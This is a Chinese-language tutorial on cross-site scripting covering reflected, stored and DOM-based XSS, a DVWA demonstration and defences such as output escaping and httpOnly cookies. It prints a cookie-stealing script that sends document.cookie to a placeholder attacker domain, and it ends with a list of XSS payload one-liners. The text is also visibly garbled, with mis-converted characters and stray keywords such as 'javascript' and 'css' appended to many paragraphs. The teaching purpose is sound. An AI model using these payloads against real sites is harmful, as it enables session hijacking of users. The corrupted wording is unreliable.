XSS(跨站腳本攻擊)簡單講解

1.1 XSS簡介

跨站腳本攻擊(XSS),是最廣泛的Web應用安全漏洞。這類漏洞可以使得攻擊者嵌入惡意腳本代碼(通常是JS代碼)到正經常使用戶會訪問到的頁面中,當正經常使用戶訪問該頁面時,則可致使嵌入的惡意腳本代碼的執行,從而達到惡意攻擊用戶的目的。它經常與其餘漏洞一塊兒形成破壞性的後果。javascript

1.2 XSS的分類

XSS漏洞表現爲多種形式,而且分爲三種類型:反射型、儲存型,DOM型。這些有一些相同的特色,可是在如何肯定和利用方面有一些區別,下面依次分析他們。css

1.2.1 反射型XSS

反射型XXS是一種非持久性的攻擊,它指的是惡意攻擊者往Web頁面裏插入惡意代碼,當用戶瀏覽該頁之時,嵌入其中Web裏面的html代碼會被執行,從而達到惡意攻擊用戶的目的。html

提取用戶提交的輸入並將其插入到服務器相應的html代碼中,這是XSS漏洞的明顯特徵,若是應用程序沒有實施任何過濾和淨化,那麼它很容易被攻擊。java

下面我就用DVWA爲你們進行演示,在輸入框中我們構造以下JS代碼數據庫

 

<script>alert('XSS')</script>

這代碼是進行彈窗操做,若是頁面出現彈窗,說明我們插入的惡意代碼被執行,結果以下圖express

進行這個簡單的測試,有助於澄清兩個重要問題,首先,name參數的內容可用任何返回給瀏覽器的數據代替,其次,不管服務器端應用程序如何處理這些數據,都沒法阻止提交JS代碼,一旦提交數據,這些代碼就會執行。後端

那咱們該如何利用反射型XSS漏洞呢?瀏覽器

最簡單的一種攻擊就是攻擊者截獲經過驗證用戶的會話令牌。劫持用戶的會話後,攻擊者就能夠訪問該用戶經受權訪問的全部數據和功能。下面爲你們畫圖演示一下截獲令牌的過程。安全

 

攻擊者建立的惡意代碼爲服務器

var i=new Image; i.src="http://馬賽克.com/"+document.cookie;

這段代碼可讓用戶瀏覽器向馬賽克.com(攻擊者擁有的一個域)提出一個請求。請求中包含用戶訪問應用程序的當前會話令牌。

1.2.2 存儲型XSS

若是一名用戶提交的數據被保存到數據庫中,而後不通過過濾或淨化就顯示給其餘用戶,這時候就會出現存儲型XSS。

利用存儲型XSS漏洞的攻擊至少須要嚮應用程序提出兩個請求。攻擊者在第一個請求中構造JavaScript,應用程序接受並保存。在第二個請求中,一名受害者查看包含惡意代碼的頁面,這時JavaScript開始執行。

依然是會話劫持,爲你們畫圖演示一下。

 

 由於存儲型XSS是永久性的,因此每每形成更大的安全威脅。攻擊者能夠嚮應用程序提交一些專門設計的數據,而後等待受害者訪問它們。若是其中一位受害者是管理員,那麼攻擊者能夠徹底攻破整個應用程序。

1.2.3 DOM型XSS

反射型和儲存型XSS漏洞都表現出一種特殊的行爲模式,其中應用程序提取用戶控制的數據並以危險的方式將這些數據返回給用戶。DOM型XSS沒有這種特色,在這種漏洞中,攻擊者的JavaScript經過下面方式提交。

1,用戶請求一個通過專門設計的URL,它由攻擊者提交,而且其中包含嵌入式JavaScript。

2,服務器的響應中並不以任何形式包含攻擊者的代碼。

3,當用戶的瀏覽器處理這個響應時,上述腳本得以處理。


在網站頁面中有許多頁面的元素,當頁面到達瀏覽器時瀏覽器會爲頁面建立一個頂級的Document object文檔對象,接着生成各個子文檔對象,每一個頁面元素對應一個文檔對象,每一個文檔對象包含屬性、方法和事件。能夠經過JS腳本對文檔對象進行編輯從而修改頁面的元素。也就是說,客戶端的腳本程序能夠經過DOM來動態修改頁面內容,從客戶端獲取DOM中的數據並在本地執行。基於這個特性,就能夠利用JS腳原本實現XSS漏洞的利用。

可能觸發DOM型XSS的屬性:

document.referer屬性

window.name屬性

location屬性

innerHTML屬性

documen.write屬性

 

1.3 xss防護

一,對輸入內容的特定字符進行過濾,例如 < > 等符號。

可使用 htmlentities()函數,htmlspecialchars()函數

htmlentities()和htmlspecialchars()這兩個函數對單引號(')之類的字符串支持很差,都不能轉化,因此用htmlentities()和htmlspecialchars()轉化的字符串只能防止XSS攻擊,不能防止SQL注入攻擊。

二,對重要的 cookie設置 httpOnly, 防止客戶端經過document.cookie讀取 cookie,此 HTTP頭由服務端設置。

三, 將不可信的值輸出 URL參數以前,進行 URLEncode操做,而對於從 URL參數中獲取值必定要進行格式檢測(好比你須要的時URL,就判讀是否知足URL格式)。

四,後端接口也應該要作到關鍵字符過濾的問題。

 

最後從網上收集了一些經常使用跨站一句話代碼,有補充直接下方留言

<script>alert("XSS")</script> 
<meta http-equiv="refresh" content="1;url=http://www.baidu.com"> 
<script language=vbscript> window.location.href="http://www.baidu.com" </script>
<iframe name="I1" src="http://www.baidu.com/" width="0" height="0"> </iframe>
<DIV STYLE="width: expression(alert('XSS'));">
<STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
<IMG STYLE='xss:expre\ssion(alert("XSS"))'>
<STYLE TYPE="text/javascript">alert('XSS');</STYLE>
<STYLE TYPE="text/css">.XSS{background-image:url("javascript:alert('XSS')");}</STYLE><A></A>
<STYLE type="text/css">BODY{background:url("javascript:alert('XSS')")}</STYLE>
相關文章
相關標籤/搜索